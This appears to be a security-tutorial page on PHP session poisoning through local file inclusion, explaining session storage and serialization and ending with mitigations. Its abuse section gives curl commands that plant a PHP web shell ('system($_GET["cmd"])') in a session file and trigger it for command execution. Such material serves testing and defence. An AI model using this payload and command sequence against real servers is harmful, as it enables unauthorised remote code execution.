PRIMARY CATEGORY → LFI
Theory
PHP Session Poisoning consists of storing attacker-controlled PHP code inside a server-side session file and subsequently executing it through a LFI vulnerability.
This technique requires two different primitives:
Controllable Session Value → Write PHP Code
Local File Inclusion → Execute PHP CodeThe session file is not a log file. It is a serialized representation of the server-side $_SESSION array.
Likewise, reading a session file does not execute its contents:
file_get_contents(session_file) → Returns text
include(session_file) → Parses and executes PHP tagsPHP Session Storage
The session cookie normally contains only an identifier:
Cookie: PHPSESSID=2f3a1c8d9e7b6a5c4dThe actual session data is stored on the server using the handler configured in session.save_handler.
The default handler is files, which creates files inside the directory configured through session.save_path.
Common locations include:
/var/lib/php/sessions/sess_<SESSION_ID>
/var/lib/php/session/sess_<SESSION_ID>
/tmp/sess_<SESSION_ID>
C:\Windows\Temp\sess_<SESSION_ID>These locations must not be assumed. The real location depends on the PHP and operating-system configuration.
The application may also use a non-file handler such as:
-
Redis
-
Memcached
-
Database storage
-
A custom session handler
In those cases, a local sess_<SESSION_ID> file may not exist.
Session Serialization
When session.serialize_handler is set to its default php value, session variables are stored approximately as:
username|s:5:"guest";language|s:2:"en";An attacker-controlled value containing PHP code could produce:
language|s:<LENGTH>:"<?php system($_GET["cmd"]); ?>";When the session file is included:
-
PHP initially treats the serialization metadata as ordinary text.
-
The
<?phpopening tag switches the interpreter into PHP mode. -
The injected code is parsed and executed.
-
The file extension is irrelevant because
include()explicitly invokes the PHP parser.
Other serialization handlers, such as php_serialize or php_binary, produce different formats, but PHP code can still execute if valid PHP tags remain inside the included file.
Requirements
The following conditions must be satisfied:
-
The application uses a file-based session handler.
-
The session-file location can be determined.
-
The attacker knows or controls a valid session identifier.
-
Attacker-controlled input is written into
$_SESSION. -
The session file is readable by the PHP process.
-
The application contains a file-inclusion sink such as
include()orrequire(). -
The session path can reach the inclusion sink without an unavoidable filename suffix.
-
The injected PHP syntax survives any validation or transformation.
A path traversal used by
file_get_contents()is an arbitrary file read, not an executable LFI sink.
Abuse
Identifying a Controllable Session Value
Consider an application that stores a request parameter in the session:
session_start();
if (isset($_GET['language'])) {
$_SESSION['language'] = $_GET['language'];
}First, obtain a valid session cookie and submit a harmless marker:
curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'language=SESSION_TEST_123' 'http://<TARGET>/profile.php'Then use the LFI to read the corresponding session file:
curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'page=/var/lib/php/sessions/sess_<SESSION_ID>' 'http://<TARGET>/index.php'If SESSION_TEST_123 appears in the response, the following have been confirmed:
-
The session path is correct.
-
The application uses file-backed sessions.
-
The selected parameter reaches the session file.
-
The inclusion endpoint can access the file.
This harmless control should be performed before injecting PHP code.
Poisoning the Session
Replace the harmless marker with a PHP payload:
curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'language=<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/profile.php'PHP normally writes the updated session data when the request finishes or when the application calls:
session_write_close();Therefore, the poisoning request should complete before triggering the inclusion.
Executing the Session File
Include the poisoned session file while preserving the same session cookie:
curl --silent --location --request GET --get --cookie 'PHPSESSID=<SESSION_ID>' --data-urlencode 'page=/var/lib/php/sessions/sess_<SESSION_ID>' --data-urlencode 'cmd=<COMMAND>' 'http://<TARGET>/index.php'A vulnerable sink may resemble:
include($_GET['page']);The execution flow is:
Attacker Input
↓
$_SESSION['language']
↓
sess_<SESSION_ID>
↓
include(sess_<SESSION_ID>)
↓
PHP Parser
↓
Command ExecutionRelevant Restrictions
Strict Session Mode
session.use_strict_mode = OnStrict mode prevents PHP from accepting an attacker-invented, uninitialized session identifier.
It does not prevent poisoning an already valid server-issued session.
Forced Extensions
The following code may prevent direct inclusion of a session file:
Check Null Byte Injection
include($_GET['page'] . '.php');The application would attempt to include:
/var/lib/php/sessions/sess_SESSION_ID.phpA separate suffix-bypass condition would be required. Null-byte suffix bypasses do not work in modern PHP versions.
Session Garbage Collection
Session files may be removed according to:
session.gc_maxlifetime
session.gc_probability
session.gc_divisorA missing file may therefore indicate expiration or garbage collection rather than an incorrect path.
Path Restrictions
Controls such as open_basedir, filesystem permissions or container isolation may prevent PHP from including the session directory.
Mitigation
-
Never construct
include()orrequire()paths from user-controlled input. -
Map permitted page names to fixed server-side paths.
-
Store session files outside the webroot with restrictive permissions.
-
Disable session upload progress when it is not required.
-
Enable
session.use_strict_mode. -
Avoid storing untrusted raw input in session variables.
-
Apply least privilege to the PHP-FPM or web-server account.
-
Treat
open_basediras defence in depth, not as the primary fix.